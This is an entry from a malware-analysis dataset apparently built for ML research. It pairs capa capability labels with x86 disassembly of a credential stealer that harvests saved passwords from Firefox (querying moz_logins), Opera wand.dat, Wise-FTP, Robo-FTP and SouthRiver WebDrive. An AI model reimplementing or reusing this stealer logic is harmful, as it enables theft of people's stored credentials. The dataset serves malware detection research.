joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407aee
Capabilities:
Gather southriver-webdrive information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x407d02
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x407b43
jmp 0x407cfa
push 0x411803
push dword [ebp + 0x10]
call fcn.00401bcd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401bcd
mov dword [ebp - 0x810], eax
call fcn.00401752
lea eax, [ebp - 0x820]
push eax
push str.PassWord
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x81c], eax
push 0
push 0x412b92
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x814], eax
push 0
push 0x412b96
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x818], eax
push 0
push str.RootDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x824], eax
push 0
push 0x412bad
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x828], eax
push 0
push 0x412be9
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x407c94
cmp dword [ebp - 0x814], 0
je 0x407c94
cmp dword [ebp - 0x818], 0
je 0x407c94
push 0xbeef0010
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x820]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.0040151c
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x82c]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
call fcn.00401752
push dword [ebp - 0x814]
call fcn.00401752
push dword [ebp - 0x818]
call fcn.00401752
push dword [ebp - 0x824]
call fcn.00401752
push dword [ebp - 0x828]
call fcn.00401752
push dword [ebp - 0x82c]
call fcn.00401752
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407aee
push dword [ebp - 0x810]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x407b15
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x408543
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x408562
cmp byte [eax], 0
jne 0x408567
jmp 0x4086b8
push dword [ebp + 0xc]
call fcn.0040237e
or eax, eax
jne 0x408582
push str..
push dword [ebp + 0xc]
call fcn.00401bcd
jmp 0x40858f
push 0x411eb0
push dword [ebp + 0xc]
call fcn.00401bcd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401780
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x4086b8
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x408650
lea eax, [edx + 0x2c]
push eax
push 0x411ea6
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4085ea
jmp 0x408693
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x411ea8
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x408607
jmp 0x408693
push dword [ebp + 0xc]
call fcn.0040237e
or eax, eax
jne 0x408622
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
jmp 0x40862c
push 0
push dword [ebp + 0xc]
call fcn.00401bcd
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401c21
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00408543
call fcn.00401752
jmp 0x408693
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x408693
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push dword [ebp - 0x14c]
push eax
call fcn.00401c21
push eax
push eax
push dword [ebp + 8]
call fcn.004084fe
call fcn.00401752
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x4085c5
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.00401752
leave
ret 0xc
Function at 0x4086c7
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x4086e6
cmp byte [eax], 0
jne 0x4086eb
jmp 0x4087f4
push str..
push dword [ebp + 0xc]
call fcn.00401bcd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401780
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x4087f4
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x4087cf
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x411ea6
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40875a
jmp 0x4087cf
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x411ea8
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x408774
jmp 0x4087cf
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push dword [ebp - 0x14c]
push eax
call fcn.00401c21
mov dword [ebp - 0x150], eax
push eax
push str.opera
push dword [ebp - 0x150]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4087ca
push str.wand.dat
push dword [ebp - 0x150]
push dword [ebp + 8]
call fcn.00408543
call fcn.00401752
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x40872e
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.00401752
leave
ret 8

Function at 0x408900
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7ec
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4089eb
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x408955
jmp 0x4089e3
push 0x411803
push dword [ebp + 0x10]
call fcn.00401bcd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401bcd
mov dword [ebp - 0x810], eax
call fcn.00401752
push 0
push 0x412cc9
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x4089b4
push 0xbeef0001
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00403c60
push dword [ebp - 0x814]
call fcn.00401752
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408900
push dword [ebp - 0x810]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x408927
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x4089ef
Capabilities:
Gather wise-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x408b2d
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x408a44
jmp 0x408b25
push 0x411803
push dword [ebp + 0x10]
call fcn.00401bcd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401bcd
mov dword [ebp - 0x810], eax
call fcn.00401752
push 0
push 0
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x814], eax
push dword [ebp - 0x814]
call fcn.00402200
or eax, eax
je 0x408af6
push eax
mov dword [ebp - 0x818], eax
push dword [ebp - 0x818]
call fcn.00401d53
or eax, eax
je 0x408af1
push 0xbeef0002
push str.wiseftpsrvs.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00403f6e
push 0xbeef0002
push str.wiseftp.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00403f6e
push 0xbeef0000
push str.wiseftpsrvs.bin
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00403f6e
call fcn.00401752
push dword [ebp - 0x814]
call fcn.00401752
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004089ef
push dword [ebp - 0x810]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x408a16
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x408c43
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov dword [0x412f40], 0
sub ebx, ebx
push dword [ebp + 8]
call sub.KERNEL32.DLL_lstrlenA
mov edx, dword [ebp + 8]
cmp eax, 2
jbe 0x408c74
add edx, eax
sub edx, 2
cmp word [edx], 0x5c5c
jne 0x408c74
mov word [edx], 0x5c
push dword [ebp + 0xc]
call sub.KERNEL32.DLL_SetCurrentDirectoryA
push 0x412e25
push str.nss3.dll
call fcn.004022ab
or eax, eax
je 0x408cf4
push dword [ebp + 8]
call dword [0x412e25]
add esp, 4
or eax, eax
jne 0x408cf4
call dword [0x412e35]
mov dword [0x412f40], eax
cmp dword [0x412f40], 0
jne 0x408cbb
call dword [0x412e29]
jmp 0x408cf4
push 0
push 1
push dword [0x412f40]
call dword [0x412e39]
add esp, 0xc
or eax, eax
je 0x408cf3
push dword [0x412f40]
call dword [0x412e41]
add esp, 4
call dword [0x412e29]
mov dword [0x412f40], 0
jmp 0x408cf4
inc ebx
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x408e4d
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push dword [ebp + 0xc]
call fcn.00401d0b
or eax, eax
jne 0x408e63
leave
ret 0x10
push dword [ebp + 0xc]
call fcn.00403d5c
or eax, eax
je 0x408e73
leave
ret 0x10
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00408c43
or eax, eax
jne 0x408e86
leave
ret 0x10
push 0x412f24
push str.mozsqlite3.dll
call fcn.004022ab
or eax, eax
jne 0x408ea8
push 0x412f24
push str.sqlite3.dll
call fcn.004022ab
or eax, eax
je 0x409075
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call dword [0x412f24]
add esp, 8
or eax, eax
jne 0x409075
push 0
lea eax, [ebp - 8]
push eax
push 0xffffffffffffffff
push str.SELECT_hostname__encryptedUsername__encryptedPassword_FROM_moz_logins
push dword [ebp - 4]
call dword [0x412f2c]
add esp, 0x14
or eax, eax
jne 0x409069
push dword [ebp - 8]
call dword [0x412f30]
add esp, 4
cmp eax, 0x64
je 0x408eff
jmp 0x409069
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp - 8]
call fcn.00408e21
or eax, eax
je 0x409064
cmp dword [ebp - 0xc], 0
je 0x409064
cmp byte [eax], 0
je 0x409064
push eax
mov edx, dword [ebp - 0xc]
inc edx
push edx
call fcn.00401769
pop edx
mov dword [ebp - 0x18], eax
push dword [ebp - 0xc]
push dword [ebp - 0x18]
push edx
call fcn.004017a0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [0x412f3c], 0
jne 0x408fac
push 0x413032
call sub.KERNEL32.DLL_lstrlenA
push eax
push 0x413032
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
or eax, eax
je 0x408f8e
push str.http:__
call sub.KERNEL32.DLL_lstrlenA
push eax
push str.http:__
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
or eax, eax
je 0x408fda
push str.https:__
call sub.KERNEL32.DLL_lstrlenA
push eax
push str.https:__
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
jmp 0x408fda
cmp dword [0x412f3c], 1
jne 0x408fcf
push str.ftp.
call sub.KERNEL32.DLL_lstrlenA
push eax
push str.ftp.
push dword [ebp - 0x18]
call sub.shlwapi.dll_StrCmpNIA
jmp 0x408fda
cmp dword [0x412f3c], 2
jne 0x408fda
sub eax, eax
or eax, eax
jne 0x40904c
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 8]
call fcn.00408e21
push dword [ebp - 0xc]
push eax
call fcn.00408d24
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
push 2
push dword [ebp - 8]
call fcn.00408e21
push dword [ebp - 0xc]
push eax
call fcn.00408d24
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x18], 0
je 0x40904c
cmp dword [ebp - 0x14], 0
je 0x40904c
push 0xbeef0000
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x18]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x14]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x10]
call fcn.00401752
push dword [ebp - 0x14]
call fcn.00401752
push dword [ebp - 0x18]
call fcn.00401752
jmp 0x408ee9
push dword [ebp - 4]
call dword [0x412f28]
add esp, 4
call fcn.00408cfb
leave
ret 0x10
Function at 0x409414
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0x14]
or eax, eax
je 0x409433
cmp byte [eax], 0
jne 0x409438
jmp 0x40967c
push dword [ebp + 0x14]
call fcn.0040237e
or eax, eax
jne 0x409453
push str..
push dword [ebp + 0x14]
call fcn.00401bcd
jmp 0x409460
push 0x411eb0
push dword [ebp + 0x14]
call fcn.00401bcd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401780
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x40967c
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x40952b
lea eax, [edx + 0x2c]
push eax
push 0x411ea6
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4094bf
jmp 0x409657
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x411ea8
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4094dc
jmp 0x409657
push dword [ebp + 0x14]
call fcn.0040237e
or eax, eax
jne 0x4094f7
push 0x411803
push dword [ebp + 0x14]
call fcn.00401bcd
jmp 0x409501
push 0
push dword [ebp + 0x14]
call fcn.00401bcd
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401c21
push eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00409414
call fcn.00401752
jmp 0x409657
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [0x412f3c], 3
jne 0x409583
push str.prefs.js
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x40957e
push 0x411803
push dword [ebp + 0x14]
call fcn.00401bcd
push dword [ebp - 0x14c]
push eax
call fcn.00401c21
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403c89
call fcn.00401752
jmp 0x409657
push str.signons.sqlite
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4095c5
push 0x411803
push dword [ebp + 0x14]
call fcn.00401bcd
push dword [ebp - 0x14c]
push eax
call fcn.00401c21
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.00408e4d
call fcn.00401752
push dword [ebp - 0x14c]
call sub.KERNEL32.DLL_lstrlenA
cmp eax, 2
jb 0x4095e9
mov edx, dword [ebp - 0x14c]
add edx, eax
sub edx, 2
cmp word [edx], 0x732e
jne 0x4095e9
jmp 0x409629
push str.signons.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons2.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons3.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
pop edx
pop ecx
or eax, eax
jne 0x409629
or edx, edx
jne 0x409629
or ecx, ecx
je 0x409657
push 0x411803
push dword [ebp + 0x14]
call fcn.00401bcd
push dword [ebp - 0x14c]
push eax
call fcn.00401c21
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.004090ba
call fcn.00401752
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x409496
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.00401752
leave
ret 0x10
Function at 0x4096a3
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push edi
push dword [ebp + 0xc]
call fcn.00401d53
or eax, eax
jne 0x4096bb
pop edi
leave
ret 0xc
push dword [ebp + 0x10]
call fcn.00401d53
or eax, eax
jne 0x4096cc
pop edi
leave
ret 0xc
push dword [ebp + 0xc]
call fcn.0040237e
or eax, eax
jne 0x4096e7
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
jmp 0x4096f1
push 0
push dword [ebp + 0xc]
call fcn.00401bcd
mov dword [ebp - 0xc], eax
push str.profiles.ini
push dword [ebp - 0xc]
call fcn.00401bcd
mov dword [ebp - 8], eax
push 0xfdea
call fcn.00401769
mov dword [ebp - 4], eax
push 0x1000
call fcn.00401769
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
call fcn.00401d0b
or eax, eax
je 0x4097eb
push dword [ebp - 8]
push 0xfde8
push dword [ebp - 4]
call sub.KERNEL32.DLL_GetPrivateProfileSectionNamesA
cmp eax, 2
jbe 0x4097eb
mov edi, dword [ebp - 4]
cmp byte [edi], 0
je 0x4097eb
push str.Profile
push edi
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x4097d9
push dword [ebp - 8]
push 0xfff
push dword [ebp - 0x10]
push 0x411805
push 0x412f64
push edi
call sub.KERNEL32.DLL_GetPrivateProfileStringA
or eax, eax
je 0x4097d9
push dword [ebp - 8]
push 1
push str.IsRelative
push edi
call sub.KERNEL32.DLL_GetPrivateProfileIntA
cmp eax, 1
jne 0x4097cb
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.00401bcd
push eax
mov edx, eax
jmp 0x4097af
cmp byte [edx], 0x2f
jne 0x4097ae
mov byte [edx], 0x5c
inc edx
or edx, edx
je 0x4097b8
cmp byte [edx], 0
jne 0x4097a6
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.0040968b
call fcn.00401752
jmp 0x4097d9
push dword [ebp + 0x10]
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.0040968b
cld
xor eax, eax
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
cmp byte [edi], al
jne 0x409753
push dword [ebp - 0xc]
call fcn.00401752
push dword [ebp - 0x10]
call fcn.00401752
push dword [ebp - 8]
call fcn.00401752
push dword [ebp - 4]
call fcn.00401752
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040968b
pop edi
leave
ret 0xc
Function at 0x40981e
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x40988a
push 0
push str.PathToExe
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401b46
or eax, eax
je 0x40988a
push eax
push eax
call fcn.00402200
or eax, eax
je 0x409885
mov dword [ebp - 0x18], eax
push 0x1a
call fcn.00401c86
or eax, eax
je 0x40987d
push dword [ebp + 0x18]
push eax
call fcn.00401c21
push eax
push dword [ebp - 0x18]
push eax
push dword [ebp + 8]
call fcn.004096a3
call fcn.00401752
push dword [ebp - 0x18]
call fcn.00401752
call fcn.00401752
push 0x800
call fcn.00401769
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40991a
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x4098d8
jmp 0x409912
push 0x411803
push dword [ebp + 0x10]
call fcn.00401bcd
push dword [ebp - 8]
push eax
call fcn.00401c21
mov dword [ebp - 0x14], eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp - 0x14]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040981e
push dword [ebp - 0x14]
call fcn.00401752
inc dword [ebp - 0x10]
jmp 0x4098b1
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 8]
call fcn.00401752
leave
ret 0x14

Function at 0x40aab9
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x411827]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40abf0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40ab11
jmp 0x40abe8
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push eax
mov edx, eax
lea eax, [ebp - 0x810]
push eax
push edx
call fcn.00401bcd
mov dword [ebp - 0x818], eax
call fcn.00401752
lea eax, [ebp - 0x10]
push eax
push str.SiteServers
push dword [ebp - 0x818]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x40abbc
cmp dword [ebp - 0x10], 4
jne 0x40abb1
mov eax, dword [ebp - 0x814]
push dword [eax]
pop dword [ebp - 0x814]
cmp dword [ebp - 0x814], 0x3e8
jbe 0x40ab8c
mov dword [ebp - 0x814], 0x3e8
jmp 0x40aba8
dec dword [ebp - 0x814]
push dword [ebp - 0x814]
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040a820
cmp dword [ebp - 0x814], 0
jne 0x40ab8e
push dword [ebp - 0x814]
call fcn.00401752
push dword [ebp - 0x814]
call fcn.00401752
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040aab9
push dword [ebp - 0x818]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x40aae3
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40cc54
Capabilities:
Gather robo-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40cea9
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40cca9
jmp 0x40cea1
push 0x411803
push dword [ebp + 0x10]
call fcn.00401bcd
push eax
mov edx, eax
lea eax, [ebp - 0x810]
push eax
push edx
call fcn.00401bcd
mov dword [ebp - 0x814], eax
call fcn.00401752
lea eax, [ebp - 0xc]
push eax
push 0x413723
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x828], eax
push 0
push str.ServerName
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x818], eax
push 0
push 0x413737
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x82c]
push eax
push 0x41374f
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401b46
or eax, eax
je 0x40cd5b
cmp dword [ebp - 0x82c], 4
jne 0x40cd5b
push dword [eax]
pop dword [ebp - 0x820]
push eax
call fcn.00401752
jmp 0x40cd6f
or eax, eax
je 0x40cd65
push eax
call fcn.00401752
mov dword [ebp - 0x820], 0x15
push 0
push str.InitialDirectory
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x824], eax
push 0
push str.ServerType
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401b46
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x828], 0
je 0x40ce46
push 0x413765
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x828]
call fcn.00403ff9
or eax, eax
je 0x40ce46
cmp dword [ebp - 0xc], 0
je 0x40ce46
cmp dword [ebp - 0x81c], 0
je 0x40ce46
cmp dword [ebp - 0x818], 0
je 0x40ce46
push 0xbeef0010
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0xc]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040151c
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x830]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x828]
call fcn.00401752
push dword [ebp - 0x818]
call fcn.00401752
push dword [ebp - 0x824]
call fcn.00401752
push dword [ebp - 0x81c]
call fcn.00401752
push dword [ebp - 0x830]
call fcn.00401752
push dword [ebp - 0x814]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040cc54
push dword [ebp - 0x814]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x40cc7b
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc